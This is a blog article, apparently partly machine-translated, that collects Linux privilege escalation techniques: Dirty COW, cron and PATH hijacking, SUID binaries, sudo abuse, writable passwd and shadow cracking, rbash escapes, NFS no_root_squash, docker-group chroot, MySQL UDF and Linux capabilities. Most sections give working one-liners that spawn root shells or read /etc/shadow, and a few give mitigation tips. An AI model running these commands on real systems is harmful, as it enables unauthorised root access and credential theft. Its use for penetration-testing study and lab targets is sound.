Summary of Linux privilege escalation methods

1. Kernel vulnerability and privilege escalation

There are generally three steps in using kernel vulnerability extraction: first, collect information on the target system and obtain system kernel information and version information.

The second step is to obtain the corresponding vulnerabilities and exploits based on the kernel version.

The third step is to use exp to attack the target and complete the privilege escalation.

Note: You can use scripts here for quick collection. The scripts are in previous articles.

The principle of privilege escalation by Dirty Cow kernel vulnerability:

A race condition was discovered in the way the Linux kernel's memory subsystem handles copy-on-write corruption of private read-only memory maps. An unprivileged local user could exploit this vulnerability to gain write access to the read-only memory map, thereby Increase his privileges on the system

There is a race condition vulnerability in the memory subsystem of the Linux kernel when handling copy-on-write (Copy-on-Write), which can destroy private read-only memory mappings. A low-privileged local user could exploit this vulnerability to gain write access to other read-only memory maps, potentially leading to an escalation of privilege vulnerability.

2. Scheduled task privilege escalation

A cron job is a daemon process in the Linux system that is used to schedule recurring tasks. By configuring crontab, the system can periodically execute certain commands or scripts. Since cron usually runs with root privileges, if its schedule can be modified Any script or binary file can be used to execute arbitrary code with root privileges.

The scheduled task files of Linux systems are located in the /etc/crontab and /etc/cron.d/ directories.

/etc/crontab is the most basic scheduled task file in the system. It is a text file that contains some commands to be executed at a specified time. Each line has 6 fields, separated by spaces or tabs, representing minutes, hours, dates, months, days of the week, and the command to be executed. For example:

# m h dom mon dow user command
*/5 * * * * root /usr/local/bin/checkdisk.sh

This task will execute the /usr/local/bin/checkdisk.sh script every 5 minutes every hour.

System tasks in /etc can be listed. System tasks run with root privileges by default.

ls -l /etc/cron*

If we are lucky and have permission to change the script specified by one of the tasks, we can add instructions such as rebound shell to the script to escalate the privileges

In addition, the /etc/cron.d/ directory stores scheduled task files created by other applications. The naming format of these files is arbitrary, but their contents are similar to the /etc/crontab file and also contain the tasks to be executed. Time of command and execution.

It should be noted that if you want to add a command to the current user's scheduled task, you can use the crontab -e command to edit the user's scheduled task file. The path of the file is /var/spool/cron/username.

Environment variable hijacking

View scheduled tasks

It is found that many environment variables are defined. If the task has instructions that do not specify an absolute path, such as

17 *    * * *   root    shell.sh

Moreover, writing operations can be performed in its environment variable path. You can write a malicious file with the same name in the front path of the environment variable to cause environment variable hijacking. For example, writing a shell.sh with a rebound shell function in /sbin, then Can cause escalation of privileges

3. SUID privilege escalation

SUID (Set User ID) is a permission given to a file. It will appear in the execution bit of the file owner's permissions. When a file with this permission is executed, the caller will temporarily obtain the permissions of the file owner. . The purpose of adding suid permissions to executable files is to simplify the operation process and allow ordinary users to do some work that can only be done with high permissions. But if some existing binaries and utilities have SUID permissions, they can be executed with permissions elevated to root.

principle:

The principle of SUID privilege escalation is related to the UID of the Linux process. The process has the following three UIDs when it is running:

(A) Real UID : The UID of the user executing the process. Real UID is only used to identify the user and is not used for permission checking.

(B) Effective UID (EUID) : The UID that is effective when the process is executed. When operating on the access target, the system will check whether the EUID has permissions. Under normal circumstances, the Real UID is the same as the EUID, but when running a program with SUID permission set, the EUID of the process will be set to the UID of the owner of the program file.

(C) Saved UID : The UID retained after the high-privilege user is demoted.

If a program with SUID permission is run and a shell is created, the EUID of the shell process will also be the UID of the owner of the program file. If the owner is root, it is a root shell. The EUIDs of the programs running in the root shell are all 0 and have super privileges, so privilege escalation is achieved.

命令:find / -perm -4000 -type f 2>/dev/null find / -perm -u=s

-perm -4000: Find files with permissions "4000", where "4000" is the number representing suid permissions.

-type f: Find results of type file, not directories or other types of files.

find / -perm -4000 -type f -exec ls -l {} \;: This command is similar to the first command, but uses the -exec option. It will execute an ls after finding the file with suid permissions. -l command to view detailed information about these files. In the -exec option, {} represents the name of each file found, and \; represents the end of the command mark.

4. SUDO abuse of privilege escalation

sudo is a Linux system management command. It is a tool that allows system administrators to let ordinary users execute some or all root commands.

sudo allows ordinary users to gain permissions without knowing the superuser's password. First, the super user registers the name of the ordinary user, the specific commands that can be executed, and the identity of which user or user group to execute in a special file (usually /etc/sudoers) to complete the authorization of the user ( At this time the user is called "sudoer")

sudo -l is an option of the sudo command and is used to list the commands that the current user can execute using the sudo command. It can help users understand which commands and scripts they can run using the sudo command, and what parameters these commands and scripts can take.

When a user executes sudo -l, the system checks the user's access rights in the sudoers file and lists all commands and scripts that the user can run. If the user does not have permission to execute any command, the sudo -l command will return an error message. If the user has permission to execute some commands, the sudo -l command will display these commands and their parameters.

User bob may run the following commands on this host:
    (ALL : ALL) ALL
    (root) /usr/bin/apt-get update, /usr/bin/apt-get upgrade
    (bob) /usr/bin/vim, /usr/bin/tail, /usr/bin/less
这个输出表示用户bob可以执行所有命令(包括以root用户身份运行的命令),
也可以运行/usr/bin/apt-get update和/usr/bin/apt-get upgrade这两个命令,
以及/usr/bin/vim、/usr/bin/tail和/usr/bin/less这三个命令,但只有以bob用户身份运行。

To avoid sudo abuse, administrators can take the following actions:

  1. Restrict users' access to sudo and only allow them to execute necessary commands and parameters.
  2. For unsafe scripts and programs, make sure to perform strict security checks before executing them and restrict them to specific directories.
  3. Update your system and software regularly and disable sudo permissions in software you are not using .
  4. Ensure that sudo binaries on the system are standard and only allowed to be executed by trusted users and processes.

5. passwd/shadow password privilege escalation

clear text password

/etc/passwd is readable by all users by default, but writable only by root. The user password in /etc/passwd is often replaced by x, and the encrypted password will be stored in /etc/shadow. /etc/shadow is only readable by root by default.

However, there is a small probability that the clear text password will appear directly in /etc/passwd. If this happens and the root password is exposed in passwd, then you can easily escalate the privileges.

passwd is writable

If /etc/passwd is writable by the current user, you can directly change the root password to a clear text password to achieve the purpose of escalating privileges.

blast shadow

If /etc/shadow is readable, you can use hashcat or john to brute force the shadow file.

Luck decides! Small probability event~

6. rbash bypass

I encountered it during previous target drone testing and needed to bypass it. rbash is a bash environment with limited functions. When encountered in DC2 of vulnhub, the restrictions may include the following operations:

  • cd changes directory
  • Commands containing slash /, such as /bin/sh
  • Set environment variables such as PATH ENV
  • Use > < for redirection
  • Running of binary. Usually the root user will manually create a soft link of /bin/binary_file -> /home/rbash_user/bin/binary_file, and restrictively provide part of the binary_file to rbash_user. Using echo $SHELL under bash, you can get whether the current environment is rbash.

Bypass

scp bypass
Entering the command comes with shell bypass

Man, git config help, more, less, vim, vi, ftp, gdb and other commands have their own shells. We only need to execute /bin/sh in their respective shells. Generally, we type !/bin in the shell. /sh to bypass rbash

The following method is also feasible (it seems to be vim only)

:set shell=/bin/bash
:shell
find bypasss

A simple summary is to execute -exec find -exec /bin/bash \;

programming language bypass

python

If python can be used, it will be easier. It seems that pty can also be arranged by os? I haven’t tried it.

python -c "import os;os.system('/bin/bash')"

php

php -a 进入php shell
然后执行命令:exec("/bin/bash");

perl

perl -e 'exec "/bin/sh";'

ruby

ruby -e 'exec "/bin/bash"'
cp bypass

Just use cp to copy the commands in /usr/bin.

Directly change the PATH/SHELL variable

Type export -p to view the variables of this user

If the PATH and SHELL variables have write permissions, they can be written directly for bypass.

ssh bypass

The principle is to connect the current user of the current IP through ssh and start /bin/bash

ssh username@Ip -t "/bin/bash"

7. Find password

Be concise and to the point, look for passwords everywhere! ! !

Search within files

grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;

You can use the above command to specify keywords and search all files for files with keywords in their content.

Find files changed within ten minutes

find / -mmin -10 2>/dev/null | grep -Ev "^/proc"  (不显示^/proc文件或文件夹)

8. NFS privilege escalation

NFS (Network File System) is a distributed file system protocol. NFS allows the system to share directories and files with other people through the network. NFS privilege escalation refers to attacks that exploit NFS protocol vulnerabilities to gain local privileges through files in the shared file system. method.

The Root squashing (root_sqaush) parameter in NFS prevents remote root users connected to the NFS volume from having root access. When this parameter is set to no_root_squash, if the user who logs in to the NFS host and uses the shared directory is root, then for this shared directory , it has root permissions.

Check the "/etc/exports" file and find that the /home/ubuntu/tmp file is shareable, can be mounted remotely, and is no_root_squash

cat /etc/exports If there is no_root_squash, it means that the root user will have supreme permission control over the shared directory, just like the directory operations on the local machine.

In other words, the root of any machine has the highest permissions on this directory.

After obtaining root permissions on a machine, you can use nfs to escalate privileges on another low-privilege machine.

mkdir /tmp/nfs
mount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfs 将本机上的/tmp/nfs 挂载到共享目录
cp /bin/bash /tmp/nfs/bash
chmod u+s /tmp/nfs/bash  设置共享目录上bash的suid

Return to the low-privilege machine and execute /tmp/bash to complete the privilege escalation

To avoid NFS privilege escalation attacks, you can take the following measures:

  1. Restrict access to NFS shared file systems and allow only trusted users and hosts to access the shared file system.
  2. Do not place SUID root programs on NFS shared file systems.
  3. For programs with SUID root permissions, security auditing and tamper-proof detection are necessary to ensure their integrity and security.
  4. Enable access control lists (ACLs) and file system permission controls on shared file systems to ensure that only trusted users can access files in the shared file system.

9. Docker privilege escalation

In addition to using the tools that come with the Linux system for extraction, there are also a large number of risky third-party tools for extraction, such as docker.

Docker has several features:

(1) You can use docker without sudo: By default, you must have sudo permissions to use docker. For multi-user use of a machine, many users often only have ordinary permissions. In order to allow ordinary users to use Docker, the administrator adds the users who need to use Docker to the Docker user group (this group will be created by default after installing Docker). The user can log in to the machine again and use Docker without sudo.

(2) User permissions in the container are not restricted: After the user creates a docker container, the default account in the container is the root account, and the configuration in the container can be changed arbitrarily without adding sudo. Under normal circumstances, this mode can ensure that a machine is used by many ordinary users without affecting each other through the isolation of docker containers; it also gives users sufficient permissions in the container to ensure that users can normally install software and modify Container configuration and other operations.

(3) Files inside and outside the container can be mapped: Docker provides a -v option, which allows users to map the host directory outside the container into the container to facilitate file sharing inside and outside the container.

Through the early penetration operation, the permissions of user_docker are obtained, and then the permissions are elevated. First, run a container: docker run -it -v /etc:/etc ubuntu /bin/bash, which maps the host's /etc directory directly into the container, thus overwriting the /etc directory in the container. Since local user information on the Linux system is mainly recorded in the /etc/ directory, such as two common files /etc/passwd and /etc/group, and the current user in the container has root permissions, they can modify these two files at will. , to achieve privilege escalation:

Modify the /etc/passwd file to change the root password or add a new user with uid=0.

Execute the following command

docker run -v /:/mnt --rm -it crf_web1 chroot /mnt sh

Then write a root user in /etc/passwd (there is no password here)

Modify the /etc/group file and add the current user to the sudo group.

10. Linux environment variable privilege escalation

PATH is an environment variable in Linux and Unix-like operating systems that specifies all bin and sbin directories where all executable programs are stored. When the user runs any command on the terminal, it requests the shell to search for the executable file with the help of PATH variable in response to the command executed by the user. Superusers also typically have entries for /sbin and /usr/sbin to easily execute system administration commands.

查看PATH
echo $PATH
env | grep PATH
print $PATH

If we find a program with suid permissions, but we cannot complete the suid privilege escalation, we can try to use environment variables to escalate the privileges.

The idea of ​​this privilege escalation method is to find files with suid and internal system functions that call commands with unspecified paths. At the same time, if the user has the permission to modify his own environment variables, he can hijack the script file called in the system function and point it to a self-created script file with the same name in the environment variable. Then the self-created script file with the same name can be run with root permissions. Yes, if the command in this script file is /bin/bash, then it is equivalent to elevating privileges.

First create the following file in a directory

vim demo.c

Then gcc demo.c -o shell compile it into an executable file

Then chmod u+s shell to add suid permissions to it

Attacker: First use the following command to search for suid permission files

find / -perm -u=s -type f 2>/dev/null

Found a suspicious target, execute it and see

It is found that the result of the ps command is returned. We can guess that this file contains the system("ps"); C language code. Then you can try environment variable privilege escalation

Execute the following commands in sequence

cd /tmp
echo "/bin/bash" > ps
export $PATH=/tmp:$PATH        需要修改自身环境变量的权限,但基本上都有这个权限
chmod 777 ./ps                 没这条命令会导致提权失败
cd /home/const27
./shell                        提权成功

11. Mysql UDF privilege escalation

UDF is a user-defined function that expands the functions of Mysql by adding new functions.

Usage conditions: The mysql configuration file secure_file_priv is empty and has database root permissions.

If the prerequisites are met, log in to MySQL and upload the prepared dll file to the MySQL plugin directory, and then use the dll file to create a function that executes system commands, so that you can execute any system command.

root permissions for mysql database

The value of secure_file_priv is empty.

If the mysql version is greater than 5.1, the udf.dll file must be placed in the lib\plugin folder of the mysql installation directory/

If the mysql version is less than 5.1, the udf.dll file is placed in the c:\windows\system32 directory under Windows Server 2003 and in the c:\winnt\system32 directory under Windows Server 2000.

show variables like 'plugin%'; #View plugin directory /usr/lib/mysql/plugin/

show global variables like 'secure%'; # 查看secure_file_priv

select @@basedir; #View mysql installation path

show variables like '%version_%'; #Determine whether the platform is 64-bit or 32-bit

insert into xiaoli values(load_file('/tmp/xiaoli.so'));

Then use the dumpfile function to export the file. Outfile is exported in multiple lines. Exporting outfile in one line of dumpfile will have special conversions, and dumpfile is the original data export!

Create a new stored function:

select * from xiaoli into dumpfile '/usr/lib/mysql/plugin/xiaoli.so';\

Create a custom function do_system, the type is integer, the alias (soname) file name, and then check whether the function is created successfully:

create function do_system returns integer soname 'xiaoli.so';

Check out the function created below:

select * from mysql.func;

Call the do_system function to give the find command owner suid permission so that it can execute the root command:
select do_system('chmod u+s /usr/bin/find');

12、capabilities

Capabilities is a product that appeared after Linux 2.2. Its emergence to a certain extent makes up for the rough permission management mechanism of suid. However, capabilities themselves also have security risks that cause privilege escalation.

capabilities subdivide root's permissions and can be enabled or disabled respectively.

When performing a privileged operation, if the euid is not root, the system will check whether it has the corresponding capabilities to perform the privileged operation, and use this as the credential to determine whether the privileged operation can be performed.

The following are some common privileged operations and their corresponding capabilities

Change the owner of the file (chown())

CAP_CHOWN

Send a signal to the process (kill(), signal())

CAP_KILL

Change the uid of the process (setuid(), setreuid(), setresuid(), etc.)

CAP_SETUID

trace process(ptrace())

CAP_SYS_PTRACE

Set system time (settimeofday(), stime(), etc.)

CAP_SYS_TIME

Ignore DAC access restrictions for file reading and directory searches

CAP_DAC_READ_SEARCH

The management tools for capabilities are as follows:

  • getcap
  • setcap
  • capsh
  • filecap

getcap is used to query capabilities, setcap is used to set capabilities, capsh is used to check the capabilities of the current shell process, and filecap can both set and query.

You can search for executable files with capabilities set by using the following command

getcap -r / 2>/dev/null

Practical operation

via cap_setuid

cap_setuid can set the euid of the current user, and you can use this option to perform some privilege escalation.

Take python as an example

It is found that python3.8 has cap_setuid permission, then you can use the following command to escalate privileges

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

There are many similar ones.

perl

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

gdb

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

php

php -r "posix_setuid(0); system('/bin/sh');"

python

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

rvim

Need to support python3 module.

rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

vim

Need to support python3 module. vim --version query, whether py3 is supported

vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
via CAP_DAC_READ_SEARCH

cap_dac_read_search can bypass the file read permission check and the directory read/execution permission check.

This feature can be used to read sensitive information in the system.

If tar has this permission, we can use this to view sensitive file contents.

tar cvf shadow.tar /etc/shadow  //创建压缩文件

tar -xvf shadow.tar  //解压缩

cd etc  //进入解压缩的目录

chmod +r shadow  //赋予读权限

cat shadow | grep root  //查看shadow文件的内容

Summarize:

This article is a summary of past Linux host privilege escalation methods, review the past and learn the new!

Guess you like

Origin blog.csdn.net/weixin_43938645/article/details/134240141